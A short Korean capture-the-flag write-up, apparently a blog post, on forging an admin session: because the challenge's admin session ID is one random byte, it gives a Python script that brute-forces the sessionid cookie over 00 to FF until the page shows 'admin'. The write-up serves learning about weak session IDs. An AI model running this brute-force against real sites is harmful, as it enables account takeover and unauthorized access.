최대 1 분 소요

문제

Session 값 위조

  • session 값을 admin 아이디가 저장된 세션 값으로 바꿔주면 된다.

코드 분석

  • admin 계정의 session id 값의 범위는 00 ~ FF 인 것을 확인할 수 있다.
session_storage[os.urandom(1).hex()] = 'admin'

공격 Payload

  • 만들어 질 수 있는 모든 session id 값을 쿠키에 넣어주면 된다.
  • 00 ~ FF 를 모두 sessionid 쿠키 값에 넣어주면서 admin 에 해당하는 session id 값을 찾아주면 된다.
import requests

URL = "공격 주소"
COOKIE = {"sessionid":""}

def request()->str:
    res = requests.get(url=URL,cookies=COOKIE)
    return res.text

def find_sessionid():
    for i in range(0,256):
        # print(str(hex(i)).replace('0x','').zfill(2))
        COOKIE["sessionid"]=str(hex(i)).replace('0x','').zfill(2)
        t = request()
        print(i)
        if 'admin' in t.lower():
            print(str(hex(i)).replace('0x','').zfill(2))
            break
    return

def main():
    # request()
    find_sessionid()
    return

if __name__ == "__main__":
    main()

댓글남기기